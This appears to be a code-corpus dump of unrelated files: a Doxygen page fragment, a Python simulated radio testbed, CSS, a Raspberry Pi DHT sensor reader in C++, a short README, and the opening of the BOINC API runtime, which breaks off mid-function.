<tr class="memdesc:a1499112e560d84365ab6c9e2f1d31c2d inherit pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">FDS element represented by this class instance. <br /></td></tr>
<tr class="separator:a1499112e560d84365ab6c9e2f1d31c2d inherit pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<div class="textblock"><p>Blender representation to set if XB shall be exported to FDS. </p>
</div><hr/>The documentation for this class was generated from the following file:<ul>
<li>/home/egissi/github/firetools/blenderfds28x/lang.py</li>
</ul>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.17
</small></address>
</body>
</html>
| Java |
# Copyright (C) 2015 SensorLab, Jozef Stefan Institute http://sensorlab.ijs.si
#
# Written by Tomaz Solc, tomaz.solc@ijs.si
#
# This work has been partially funded by the European Community through the
# 7th Framework Programme project CREW (FP7-ICT-2009-258301).
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
# more details.
#
# You should have received a copy of the GNU General Public License along with
# this program. If not, see http://www.gnu.org/licenses/
import logging
import Queue
import random
import time
from spectrumwars.testbed import TestbedBase, RadioBase, RadioTimeout, RadioError, TestbedError, RadioPacket
log = logging.getLogger(__name__)
class Radio(RadioBase):
RECEIVE_TIMEOUT = 2.
def __init__(self, addr, dispatcher, send_delay):
super(Radio, self).__init__()
self.addr = addr
self.neighbor = None
self.dispatcher = dispatcher
self.q = Queue.Queue()
self.frequency = 0
self.bandwidth = 0
self.send_delay = send_delay
def _recv(self, addr, bindata, frequency, bandwidth):
if self.frequency == frequency and self.bandwidth == bandwidth and self.addr == addr:
self.q.put(bindata)
def set_configuration(self, frequency, bandwidth, power):
self.frequency = frequency
self.bandwidth = bandwidth
def binsend(self, bindata):
self.dispatcher(self.neighbor, bindata, self.frequency, self.bandwidth)
time.sleep(self.send_delay)
def binrecv(self, timeout=None):
if timeout is None:
timeout = self.RECEIVE_TIMEOUT
try:
bindata = self.q.get(True, timeout)
except Queue.Empty:
raise RadioTimeout
else:
return bindata
class Testbed(TestbedBase):
RADIO_CLASS = Radio
def __init__(self, send_delay=.1, frequency_range=64, bandwidth_range=10, power_range=10, packet_size=1024):
self.send_delay = float(send_delay)
self.frequency_range = int(frequency_range)
self.bandwidth_range = int(bandwidth_range)
self.power_range = int(power_range)
self.RADIO_CLASS.PACKET_SIZE = int(packet_size) + 1
self.radios = []
# for each channel, we keep the timestamp of the last
# transmission. we use this for simulated spectrum sensing and
# for detecting collisions.
self.channels = [0] * self.frequency_range
self.i = 0
def _get_radio(self):
r = Radio(self.i, self._dispatcher, self.send_delay)
self.radios.append(r)
self.i += 1
return r
def _dispatcher(self, addr, bindata, frequency, bandwidth):
now = self.time()
has_collision = (now - self.channels[frequency]) > self.send_delay
self.channels[frequency] = now
if has_collision:
# note that when packets collide, the first one goes
# through while the later ones fail. this is different
# than in reality: all should fail. But this would
# be complicated to implement in practice.
for radio in self.radios:
radio._recv(addr, bindata, frequency, bandwidth)
else:
log.debug("packet collision detected on channel %d" % (frequency,))
def get_radio_pair(self):
dst = self._get_radio()
src = self._get_radio()
dst.neighbor = src.addr
src.neighbor = dst.addr
return dst, src
def get_spectrum(self):
spectrum = []
now = self.time()
for time in self.channels:
if now - time < .5:
p = random.randint(-40, -20)
else:
p = random.randint(-90, -80)
spectrum.append(p)
return tuple(spectrum)
def get_frequency_range(self):
return self.frequency_range
def get_bandwidth_range(self):
return self.bandwidth_range
def get_power_range(self):
return self.power_range
| Java |
body, html{
margin: 0;
background: #fff;
}
h1{
font-size: 4em;
text-align: center;
font-family: sans-serif;
vertical-align: middle;
}
p{
font-size: 2em;
font-family: serif;
color: green;
text-align: center;
vertical-align: middle;
}
#only_section{
vertical-align: middle;
}
| Java |
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <bcm2835.h>
#include <unistd.h>
#include <iostream>
//#define BCM2708_PERI_BASE 0x20000000
#define BCM2708_PERI_BASE 0x3F000000
#define GPIO_BASE (BCM2708_PERI_BASE + 0x200000) /* GPIO controller */
#define MAXTIMINGS 100
#define PIN_DHT 4 //GPIO Mapping DHT Sensor
#define PIN_LED RPI_GPIO_P1_12 //GPIO Mapping LED
//#define DEBUG
using namespace std;
int readDHT(int pin, float *humid0, float *temp0);
int cosmput(float humid, float temp, int *feedid, char *key, char *feed_name, char *field0_name, char *field1_name);
int readconfig(char *pFileName, int *feedid, char *key, char *feed_name, char *field0_name, char *field1_name);
int main(int argc, char **argv) {
long cnt = 1;
if(argc > 1){
cnt = atol(argv[1]);
}
int dhtpin = PIN_DHT;
int ledpin = PIN_LED;
float humid0, temp0, ahumid, atemp,otemp = 0;
int feedid = 0;
char key[100];
char feed_name[100];
char field0_name[100];
char field1_name[100];
// char pFileName[]="config.ini";
// readconfig(pFileName, &feedid, key, feed_name, field0_name, field1_name);
if (!bcm2835_init())
return 1;
bcm2835_gpio_fsel(ledpin, BCM2835_GPIO_FSEL_OUTP);
bcm2835_gpio_write(ledpin, HIGH); //LED an
fprintf(stderr,"Using pin #%d\n", dhtpin);
while(cnt > 0) {
ahumid = atemp = 0.0;
for (int i=0; i< 5; i++) { // Mittelwert bilden, um "zittern" der Kurve zu minimieren
readDHT(dhtpin, &humid0, &temp0);
ahumid = ahumid + humid0;
atemp = atemp + temp0;
sleep(1);
}
ahumid = ahumid / 5;
atemp = atemp / 5;
if(ahumid < 5 || atemp < 5 || ahumid >100 || atemp > 100)// || (otemp > 0 && (atemp < otemp - 5 || atemp > otemp +5))){
{
fprintf(stderr,"Invalid values. Still calibrating?\n");
continue;
}
time_t tr = time(NULL);
//char *t = asctime(localtime(&tr));
cnt--;
printf("TIME=%d\nTEMP=%0.1f\nHUMID=%0.1f\n", tr, atemp, ahumid);
otemp = atemp;
//cosmput(ahumid, atemp, &feedid, key, feed_name, field0_name, field1_name);
}
bcm2835_gpio_fsel(ledpin, BCM2835_GPIO_FSEL_OUTP);
bcm2835_gpio_write(ledpin, LOW); //LED aus
return 0;
} // main
int readDHT(int pin, float *humid0, float *temp0) {
int counter = 0;
int laststate = HIGH;
int j=0;
int bits[250], data[100];
int bitidx = 0;
// Set GPIO pin to output
bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_OUTP);
bcm2835_gpio_write(pin, HIGH);
usleep(500000); // 500 ms
bcm2835_gpio_write(pin, LOW);
usleep(20000);
bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_INPT);
data[0] = data[1] = data[2] = data[3] = data[4] = 0;
// wait for pin to drop?
while (bcm2835_gpio_lev(pin) == 1) {
usleep(1);
}
// read data!
for (int i=0; i< MAXTIMINGS; i++) {
counter = 0;
while ( bcm2835_gpio_lev(pin) == laststate) {
counter++;
//nanosleep(1); // overclocking might change this?
if (counter == 1000)
break;
}
laststate = bcm2835_gpio_lev(pin);
if (counter == 1000) break;
bits[bitidx++] = counter;
if ((i>3) && (i%2 == 0)) {
// shove each bit into the storage bytes
data[j/8] <<= 1;
if (counter > 200)
data[j/8] |= 1;
j++;
}
}
#ifdef DEBUG
for (int i=3; i<bitidx; i+=2) {
printf("bit %d: %d\n", i-3, bits[i]);
printf("bit %d: %d (%d)\n", i-2, bits[i+1], bits[i+1] > 200);
}
printf("Data (%d): 0x%x 0x%x 0x%x 0x%x 0x%x\n", j, data[0], data[1], data[2], data[3], data[4]);
#endif
if ((j >= 39) && (data[4] == ((data[0] + data[1] + data[2] + data[3]) & 0xFF)) ) { // yay!
float f, h;
h = data[0] * 256 + data[1];
h /= 10;
f = (data[2] & 0x7F)* 256 + data[3];
f /= 10.0;
if (data[2] & 0x80) {
f *= -1;
}
//printf("Temp = %.1f *C, Hum = %.1f \%\n", f, h);
*humid0 = h;
*temp0 = f;
}
return 0;
}
int cosmput(float humid, float temp, int *feedid, char *key, char *feed_name, char *field0_name, char *field1_name) {
// CURL *curl;
// CURLcode res;
char xapikey[60];
sprintf(xapikey, "X-ApiKey: %s",key);
char url[50];
sprintf(url, "http://api.cosm.com/v2/feeds/%d.json", *feedid);
char payload[200];
sprintf(payload, "{\"title\":\"%s\",\"version\":\"1.0.0\",\"datastreams\":[{\"id\":\"%s\",\"current_value\":%0.1f},{\"id\":\"%s\",\"current_value\":%0.1f}]}", feed_name, field0_name, humid, field1_name, temp);
// struct curl_slist *header=NULL;
// header = curl_slist_append(header, xapikey);
// curl_global_init(CURL_GLOBAL_ALL);
// curl = curl_easy_init();
//
// curl_easy_setopt(curl, CURLOPT_VERBOSE, 0);
// curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
// curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "PUT");
// curl_easy_setopt(curl, CURLOPT_URL, url);
// curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
//
// res = curl_easy_perform(curl);
// if(res != CURLE_OK) {
// fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
// }
//
// curl_easy_cleanup(curl);
// curl_slist_free_all(header);
// curl_global_cleanup();
return 0;
}
int readconfig(char *pFileName, int *feedid, char *key, char *feed_name, char *field0_name, char *field1_name) {
char buffer[1024];
char label[120];
char value[100];
int allread = 0;
FILE* fp;
fp = fopen(pFileName, "r");
if (!fp) {
printf("Error opening config_file %s!\n", pFileName);
return 1;
}
printf("Opening config file: %s\n", pFileName);
fflush(stdout);
while (feof(fp) == 0) {
fgets(buffer, 1024, fp);
if ((buffer[0] != '#')) // && (no>2))
{
if (sscanf(buffer, "%[^'=']=%[^'\n']%s", &label, &value) >= 2){
if (strcmp(label, "FEEDID") == 0)
*feedid = atoi(value);
if (strcmp(label, "KEY") == 0)
sprintf(key, "%s", value);
if (strcmp(label, "FEED_NAME") == 0)
sprintf(feed_name, "%s", value);
if (strcmp(label, "FIELD0_NAME") == 0)
sprintf(field0_name, "%s", value);
if (strcmp(label, "FIELD1_NAME") == 0)
sprintf(field1_name, "%s", value);
}
}
}
fclose(fp);
return 0;
}
| Java |
# PickAMovie
This app gets movies from moviedb, using their API. For this to work you must insert your API key in the NetworkUtils class.
| Java |
// This file is part of BOINC.
// http://boinc.berkeley.edu
// Copyright (C) 2008 University of California
//
// BOINC is free software; you can redistribute it and/or modify it
// under the terms of the GNU Lesser General Public License
// as published by the Free Software Foundation,
// either version 3 of the License, or (at your option) any later version.
//
// BOINC is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with BOINC. If not, see <http://www.gnu.org/licenses/>.
// The BOINC API and runtime system.
//
// Notes:
// 1) Thread structure:
// Sequential apps
// Unix
// getting CPU time and suspend/resume have to be done
// in the worker thread, so we use a SIGALRM signal handler.
// However, many library functions and system calls
// are not "asynch signal safe": see, e.g.
// http://www.opengroup.org/onlinepubs/009695399/functions/xsh_chap02_04.html#tag_02_04_03
// (e.g. sprintf() in a signal handler hangs Mac OS X)
// so we do as little as possible in the signal handler,
// and do the rest in a separate "timer thread".
// Win
// the timer thread does everything
// Multi-thread apps:
// Unix:
// fork
// original process runs timer loop:
// handle suspend/resume/quit, heartbeat (use signals)
// new process call boinc_init_options() with flags to
// send status messages and handle checkpoint stuff,
// and returns from boinc_init_parallel()
// NOTE: THIS DOESN'T RESPECT CRITICAL SECTIONS.
// NEED TO MASK SIGNALS IN CHILD DURING CRITICAL SECTIONS
// Win:
// like sequential case, except suspend/resume must enumerate
// all threads (except timer) and suspend/resume them all
//
// 2) All variables that are accessed by two threads (i.e. worker and timer)
// MUST be declared volatile.
//
// 3) For compatibility with C, we use int instead of bool various places
//
// 4) We must periodically check that the client is still alive and exit if not.
// Originally this was done using heartbeat msgs from client.
// This is unreliable, e.g. if the client is blocked for a long time.
// As of Oct 11 2012 we use a different mechanism:
// the client passes its PID and we periodically check whether it exists.
// But we need to support the heartbeat mechanism also for compatibility.
//
// Terminology:
// The processing of a result can be divided
// into multiple "episodes" (executions of the app),
// each of which resumes from the checkpointed state of the previous episode.
// Unless otherwise noted, "CPU time" refers to the sum over all episodes
// (not counting the part after the last checkpoint in an episode).
#if defined(_WIN32) && !defined(__STDWX_H__) && !defined(_BOINC_WIN_) && !defined(_AFX_STDAFX_H_)
#include "boinc_win.h"
#endif
#ifdef _WIN32
#include "version.h"
#include "win_util.h"
#else
#include "config.h"
#include <cstdlib>
#include <cstring>
#include <cstdio>
#include <cstdarg>
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <pthread.h>
#include <vector>
#ifndef __EMX__
#include <sched.h>
#endif
#endif
#include "app_ipc.h"
#include "common_defs.h"
#include "diagnostics.h"
#include "error_numbers.h"
#include "filesys.h"
#include "mem_usage.h"
#include "parse.h"
#include "proc_control.h"
#include "shmem.h"
#include "str_replace.h"
#include "str_util.h"
#include "util.h"
#include "boinc_api.h"
using std::vector;
//#define DEBUG_BOINC_API
#ifdef __APPLE__
#include "mac_backtrace.h"
#define GETRUSAGE_IN_TIMER_THREAD
// call getrusage() in the timer thread,
// rather than in the worker thread's signal handler
// (which can cause crashes on Mac)
// If you want, you can set this for Linux too:
// CPPFLAGS=-DGETRUSAGE_IN_TIMER_THREAD
#endif
const char* api_version = "API_VERSION_" PACKAGE_VERSION;
static APP_INIT_DATA aid;
static FILE_LOCK file_lock;
APP_CLIENT_SHM* app_client_shm = 0;
static volatile int time_until_checkpoint;
// time until enable checkpoint
static volatile double fraction_done;
static volatile double last_checkpoint_cpu_time;
static volatile bool ready_to_checkpoint = false;
static volatile int in_critical_section = 0;
static volatile double last_wu_cpu_time;
static volatile bool standalone = false;
static volatile double initial_wu_cpu_time;
static volatile bool have_new_trickle_up = false;
static volatile bool have_trickle_down = true;
// on first call, scan slot dir for msgs
static volatile int heartbeat_giveup_count;
// interrupt count value at which to give up on core client
#ifdef _WIN32
static volatile int nrunning_ticks = 0;
#endif
static volatile int interrupt_count = 0;
// number of timer interrupts
// used to measure elapsed time in a way that's
// not affected by user changing system clock,
// and doesn't have big jump after hibernation
static volatile int running_interrupt_count = 0;
// number of timer interrupts while not suspended.
// Used to compute elapsed time
static volatile bool finishing;
// used for worker/timer synch during boinc_finish();
static int want_network = 0;
static int have_network = 1;
static double bytes_sent = 0;
static double bytes_received = 0;
bool boinc_disable_timer_thread = false;
// simulate unresponsive app by setting to true (debugging)
static FUNC_PTR timer_callback = 0;
char web_graphics_url[256];
bool send_web_graphics_url = false;
char remote_desktop_addr[256];
bool send_remote_desktop_addr = false;
int app_min_checkpoint_period = 0;
// min checkpoint period requested by app
#define TIMER_PERIOD 0.1
// Sleep interval for timer thread;
// determines max rate of handling messages from client.
// Unix: period of worker-thread timer interrupts.
#define TIMERS_PER_SEC 10
// reciprocal of TIMER_PERIOD
// This determines the resolution of fraction done and CPU time reporting
// to the client, and of checkpoint enabling.
#define HEARTBEAT_GIVEUP_SECS 30
#define HEARTBEAT_GIVEUP_COUNT ((int)(HEARTBEAT_GIVEUP_SECS/TIMER_PERIOD))
// quit if no heartbeat from core in this #interrupts
#define LOCKFILE_TIMEOUT_PERIOD 35
// quit if we cannot aquire slot lock file in this #secs after startup
#ifdef _WIN32
static HANDLE hSharedMem;
HANDLE worker_thread_handle;
// used to suspend worker thread, and to measure its CPU time
DWORD timer_thread_id;
#else
static volatile bool worker_thread_exit_flag = false;
static volatile int worker_thread_exit_status;
// the above are used by the timer thread to tell
// the worker thread to exit
static pthread_t worker_thread_handle;
static pthread_t timer_thread_handle;
#ifndef GETRUSAGE_IN_TIMER_THREAD
static struct rusage worker_thread_ru;
#endif
#endif
static BOINC_OPTIONS options;
volatile BOINC_STATUS boinc_status;
// vars related to intermediate file upload
struct UPLOAD_FILE_STATUS {
std::string name;
int status;
};
static bool have_new_upload_file;
static std::vector<UPLOAD_FILE_STATUS> upload_file_status;
static int resume_activities();
static void boinc_exit(int);
static void block_sigalrm();
static int start_worker_signals();
char* boinc_msg_prefix(char* sbuf, int len) {
char buf[256];
struct tm tm;
struct tm *tmp = &tm;
int n;
time_t x = time(0);
if (x == -1) {
strlcpy(sbuf, "time() failed", len);
return sbuf;
}
#ifdef _WIN32
#ifdef __MINGW32__
if ((tmp = localtime(&x)) == NULL) {
#else
if (localtime_s(&tm, &x) == EINVAL) {
#endif
#else
if (localtime_r(&x, &tm) == NULL) {
#endif
strlcpy(sbuf, "localtime() failed", len);
return sbuf;
}
if (strftime(buf, sizeof(buf)-1, "%H:%M:%S", tmp) == 0) {
strlcpy(sbuf, "strftime() failed", len);
return sbuf;
}
#ifdef _WIN32
n = _snprintf(sbuf, len, "%s (%d):", buf, GetCurrentProcessId());
#else
n = snprintf(sbuf, len, "%s (%d):", buf, getpid());
#endif
if (n < 0) {
strlcpy(sbuf, "sprintf() failed", len);
return sbuf;
}
sbuf[len-1] = 0; // just in case
return sbuf;
}
static int setup_shared_mem() {
char buf[256];
if (standalone) {
fprintf(stderr,
"%s Standalone mode, so not using shared memory.\n",
boinc_msg_prefix(buf, sizeof(buf))
);
return 0;
}
app_client_shm = new APP_CLIENT_SHM;
#ifdef _WIN32
sprintf(buf, "%s%s", SHM_PREFIX, aid.shmem_seg_name);
hSharedMem = attach_shmem(buf, (void**)&app_client_shm->shm);
if (hSharedMem == NULL) {
delete app_client_shm;
app_client_shm = NULL;
}
#else
#ifdef __EMX__
if (attach_shmem(aid.shmem_seg_name, (void**)&app_client_shm->shm)) {
delete app_client_shm;
app_client_shm = NULL;
}
#else
if (aid.shmem_seg_name == -1) {
// Version 6 Unix/Linux/Mac client
if (attach_shmem_mmap(MMAPPED_FILE_NAME, (void**)&app_client_shm->shm)) {
delete app_client_shm;
app_client_shm = NULL;
}
} else {
// version 5 Unix/Linux/Mac client
if (attach_shmem(aid.shmem_seg_name, (void**)&app_client_shm->shm)) {
delete app_client_shm;
app_client_shm = NULL;
}
}
#endif
#endif // ! _WIN32
if (app_client_shm == NULL) return -1;
return 0;
}
// a mutex for data structures shared between time and worker threads
//
#ifdef _WIN32
static HANDLE mutex;
static void init_mutex() {
mutex = CreateMutex(NULL, FALSE, NULL);
}
static inline void acquire_mutex() {
WaitForSingleObject(mutex, INFINITE);
}
static inline void release_mutex() {
ReleaseMutex(mutex);
}
#else
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
static void init_mutex() {}
static inline void acquire_mutex() {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr, "%s acquiring mutex\n",
boinc_msg_prefix(buf, sizeof(buf))
);
#endif
pthread_mutex_lock(&mutex);
}
static inline void release_mutex() {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr, "%s releasing mutex\n",
boinc_msg_prefix(buf, sizeof(buf))
);
#endif
pthread_mutex_unlock(&mutex);
}
#endif
// Return CPU time of process.
//
double boinc_worker_thread_cpu_time() {
double cpu;
#ifdef _WIN32
int retval;
retval = boinc_process_cpu_time(GetCurrentProcess(), cpu);
if (retval) {
cpu = nrunning_ticks * TIMER_PERIOD; // for Win9x
}
#else
#ifdef GETRUSAGE_IN_TIMER_THREAD
struct rusage worker_thread_ru;
getrusage(RUSAGE_SELF, &worker_thread_ru);
#endif
cpu = (double)worker_thread_ru.ru_utime.tv_sec
+ (((double)worker_thread_ru.ru_utime.tv_usec)/1000000.0);
cpu += (double)worker_thread_ru.ru_stime.tv_sec
+ (((double)worker_thread_ru.ru_stime.tv_usec)/1000000.0);
#endif
return cpu;
}
// Communicate to the core client (via shared mem)
// the current CPU time and fraction done.
// NOTE: various bugs could cause some of these FP numbers to be enormous,
// possibly overflowing the buffer.
// So use strlcat() instead of strcat()
//
// This is called only from the timer thread (so no need for synch)
//
static bool update_app_progress(double cpu_t, double cp_cpu_t) {
char msg_buf[MSG_CHANNEL_SIZE], buf[256];
if (standalone) return true;
sprintf(msg_buf,
"<current_cpu_time>%e</current_cpu_time>\n"
"<checkpoint_cpu_time>%e</checkpoint_cpu_time>\n",
cpu_t, cp_cpu_t
);
if (want_network) {
strlcat(msg_buf, "<want_network>1</want_network>\n", sizeof(msg_buf));
}
if (fraction_done >= 0) {
double range = aid.fraction_done_end - aid.fraction_done_start;
double fdone = aid.fraction_done_start + fraction_done*range;
sprintf(buf, "<fraction_done>%e</fraction_done>\n", fdone);
strlcat(msg_buf, buf, sizeof(msg_buf));
}
if (bytes_sent) {
sprintf(buf, "<bytes_sent>%f</bytes_sent>\n", bytes_sent);
strlcat(msg_buf, buf, sizeof(msg_buf));
}
if (bytes_received) {
sprintf(buf, "<bytes_received>%f</bytes_received>\n", bytes_received);
strlcat(msg_buf, buf, sizeof(msg_buf));
}
return app_client_shm->shm->app_status.send_msg(msg_buf);
}
static void handle_heartbeat_msg() {
char buf[MSG_CHANNEL_SIZE];
double dtemp;
bool btemp;
if (app_client_shm->shm->heartbeat.get_msg(buf)) {
boinc_status.network_suspended = false;
if (match_tag(buf, "<heartbeat/>")) {
heartbeat_giveup_count = interrupt_count + HEARTBEAT_GIVEUP_COUNT;
}
if (parse_double(buf, "<wss>", dtemp)) {
boinc_status.working_set_size = dtemp;
}
if (parse_double(buf, "<max_wss>", dtemp)) {
boinc_status.max_working_set_size = dtemp;
}
if (parse_bool(buf, "suspend_network", btemp)) {
boinc_status.network_suspended = btemp;
}
}
}
static bool client_dead() {
char buf[256];
bool dead;
if (aid.client_pid) {
// check every 10 sec
//
if (interrupt_count%(TIMERS_PER_SEC*10)) return false;
#ifdef _WIN32
HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, aid.client_pid);
// If the process exists but is running under a different user account (boinc_master)
// then the handle returned is NULL and GetLastError() returns ERROR_ACCESS_DENIED.
//
if ((h == NULL) && (GetLastError() != ERROR_ACCESS_DENIED)) {
dead = true;
} else {
if (h) CloseHandle(h);
dead = false;
}
#else
int retval = kill(aid.client_pid, 0);
dead = (retval == -1 && errno == ESRCH);
#endif
} else {
dead = (interrupt_count > heartbeat_giveup_count);
}
if (dead) {
boinc_msg_prefix(buf, sizeof(buf));
fputs(buf, stderr); // don't use fprintf() here
if (aid.client_pid) {
fputs(" BOINC client no longer exists - exiting\n", stderr);
} else {
fputs(" No heartbeat from client for 30 sec - exiting\n", stderr);
}
return true;
}
return false;
}
#ifndef _WIN32
// For multithread apps on Unix, the main process executes the following.
//
static void parallel_master(int child_pid) {
char buf[MSG_CHANNEL_SIZE];
int exit_status;
while (1) {
boinc_sleep(TIMER_PERIOD);
interrupt_count++;
if (app_client_shm) {
handle_heartbeat_msg();
if (app_client_shm->shm->process_control_request.get_msg(buf)) {
if (match_tag(buf, "<suspend/>")) {
kill(child_pid, SIGSTOP);
} else if (match_tag(buf, "<resume/>")) {
kill(child_pid, SIGCONT);
} else if (match_tag(buf, "<quit/>")) {
kill(child_pid, SIGKILL);
exit(0);
} else if (match_tag(buf, "<abort/>")) {
kill(child_pid, SIGKILL);
exit(EXIT_ABORTED_BY_CLIENT);
}
}
if (client_dead()) {
kill(child_pid, SIGKILL);
exit(0);
}
}
if (interrupt_count % TIMERS_PER_SEC) continue;
if (waitpid(child_pid, &exit_status, WNOHANG) == child_pid) break;
}
boinc_finish(exit_status);
}
#endif
int boinc_init() {
int retval;
if (!diagnostics_is_initialized()) {
retval = boinc_init_diagnostics(BOINC_DIAG_DEFAULTS);
if (retval) return retval;
}
boinc_options_defaults(options);
return boinc_init_options(&options);
}
int boinc_init_options(BOINC_OPTIONS* opt) {
int retval;
#ifndef _WIN32
if (options.multi_thread) {
int child_pid = fork();
if (child_pid) {
// original process - master
//
options.send_status_msgs = false;
retval = boinc_init_options_general(options);
if (retval) {
kill(child_pid, SIGKILL);
return retval;
}
parallel_master(child_pid);
}
// new process - slave
//
options.main_program = false;
options.check_heartbeat = false;
options.handle_process_control = false;
options.multi_thread = false;
options.multi_process = false;
return boinc_init_options(&options);
}
#endif
retval = boinc_init_options_general(*opt);
if (retval) return retval;
retval = start_timer_thread();
if (retval) return retval;
#ifndef _WIN32
retval = start_worker_signals();
if (retval) return retval;
#endif
return 0;
}
int boinc_init_parallel() {
BOINC_OPTIONS _options;
boinc_options_defaults(_options);
_options.multi_thread = true;
return boinc_init_options(&_options);
}
static int min_checkpoint_period() {
int x = (int)aid.checkpoint_period;
if (app_min_checkpoint_period > x) {
x = app_min_checkpoint_period;
}
if (x == 0) x = DEFAULT_CHECKPOINT_PERIOD;
return x;
}
int boinc_set_min_checkpoint_period(int x) {
app_min_checkpoint_period = x;
if (x > time_until_checkpoint) {
time_until_checkpoint = x;
}
return 0;
}
int boinc_init_options_general(BOINC_OPTIONS& opt) {
int retval;
char buf[256];
options = opt;
if (!diagnostics_is_initialized()) {
retval = boinc_init_diagnostics(BOINC_DIAG_DEFAULTS);
if (retval) return retval;
}
boinc_status.no_heartbeat = false;
boinc_status.suspended = false;
boinc_status.quit_request = false;
boinc_status.abort_request = false;
if (options.main_program) {
// make sure we're the only app running in this slot
//
retval = file_lock.lock(LOCKFILE);
if (retval) {
// give any previous occupant a chance to timeout and exit
//
fprintf(stderr, "%s Can't acquire lockfile (%d) - waiting %ds\n",
boinc_msg_prefix(buf, sizeof(buf)),
retval, LOCKFILE_TIMEOUT_PERIOD
);
boinc_sleep(LOCKFILE_TIMEOUT_PERIOD);
retval = file_lock.lock(LOCKFILE);
}
if (retval) {
fprintf(stderr, "%s Can't acquire lockfile (%d) - exiting\n",
boinc_msg_prefix(buf, sizeof(buf)),
retval
);
#ifdef _WIN32
char buf2[256];
windows_format_error_string(GetLastError(), buf2, 256);
fprintf(stderr, "%s Error: %s\n", boinc_msg_prefix(buf, sizeof(buf)), buf2);
#endif
// if we can't acquire the lock file there must be
// another app instance running in this slot.
// If we exit(0), the client will keep restarting us.
// Instead, tell the client not to restart us for 10 min.
//
boinc_temporary_exit(600, "Waiting to acquire lock");
}
}
retval = boinc_parse_init_data_file();
if (retval) {
standalone = true;
} else {
retval = setup_shared_mem();
if (retval) {
fprintf(stderr,
"%s Can't set up shared mem: %d. Will run in standalone mode.\n",
boinc_msg_prefix(buf, sizeof(buf)), retval
);
standalone = true;
}
}
// copy the WU CPU time to a separate var,
// since we may reread the structure again later.
//
initial_wu_cpu_time = aid.wu_cpu_time;
fraction_done = -1;
time_until_checkpoint = min_checkpoint_period();
last_checkpoint_cpu_time = aid.wu_cpu_time;
last_wu_cpu_time = aid.wu_cpu_time;
if (standalone) {
options.check_heartbeat = false;
}
heartbeat_giveup_count = interrupt_count + HEARTBEAT_GIVEUP_COUNT;
init_mutex();
return 0;
}
int boinc_get_status(BOINC_STATUS *s) {
s->no_heartbeat = boinc_status.no_heartbeat;
s->suspended = boinc_status.suspended;
s->quit_request = boinc_status.quit_request;
s->reread_init_data_file = boinc_status.reread_init_data_file;
s->abort_request = boinc_status.abort_request;
s->working_set_size = boinc_status.working_set_size;
s->max_working_set_size = boinc_status.max_working_set_size;
s->network_suspended = boinc_status.network_suspended;
return 0;
}
// if we have any new trickle-ups or file upload requests,
// send a message describing them
//
static void send_trickle_up_msg() {
char buf[MSG_CHANNEL_SIZE];
BOINCINFO("Sending Trickle Up Message");
if (standalone) return;
strcpy(buf, "");
if (have_new_trickle_up) {
strcat(buf, "<have_new_trickle_up/>\n");
}
if (have_new_upload_file) {
strcat(buf, "<have_new_upload_file/>\n");
}
if (strlen(buf)) {
if (app_client_shm->shm->trickle_up.send_msg(buf)) {
have_new_trickle_up = false;
have_new_upload_file = false;
}
}
}
// NOTE: a non-zero status tells the core client that we're exiting with
// an "unrecoverable error", which will be reported back to server.
// A zero exit-status tells the client we've successfully finished the result.
//
int boinc_finish(int status) {
char buf[256];
fraction_done = 1;
fprintf(stderr,
"%s called boinc_finish(%d)\n",
boinc_msg_prefix(buf, sizeof(buf)), status
);
finishing = true;
boinc_sleep(2.0); // let the timer thread send final messages
boinc_disable_timer_thread = true; // then disable it
if (options.main_program && status==0) {
FILE* f = fopen(BOINC_FINISH_CALLED_FILE, "w");
if (f) fclose(f);
}
boinc_exit(status);
return 0; // never reached
}
int boinc_temporary_exit(int delay, const char* reason) {
FILE* f = fopen(TEMPORARY_EXIT_FILE, "w");
if (!f) {
return ERR_FOPEN;
}
fprintf(f, "%d\n", delay);
if (reason) {
fprintf(f, "%s\n", reason);
}
fclose(f);
boinc_exit(0);
return 0;
}
// unlock the lockfile and call the appropriate exit function
// Unix: called only from the worker thread.
// Win: called from the worker or timer thread.
//
// make static eventually
//
void boinc_exit(int status) {
int retval;
char buf[256];
if (options.main_program && file_lock.locked) {
retval = file_lock.unlock(LOCKFILE);
if (retval) {
#ifdef _WIN32
windows_format_error_string(GetLastError(), buf, 256);
fprintf(stderr,
"%s Can't unlock lockfile (%d): %s\n",
boinc_msg_prefix(buf, sizeof(buf)), retval, buf
);
#else
fprintf(stderr,
"%s Can't unlock lockfile (%d)\n",
boinc_msg_prefix(buf, sizeof(buf)), retval
);
perror("file unlock failed");
#endif
}
}
// kill any processes the app may have created
//
if (options.multi_process) {
kill_descendants();
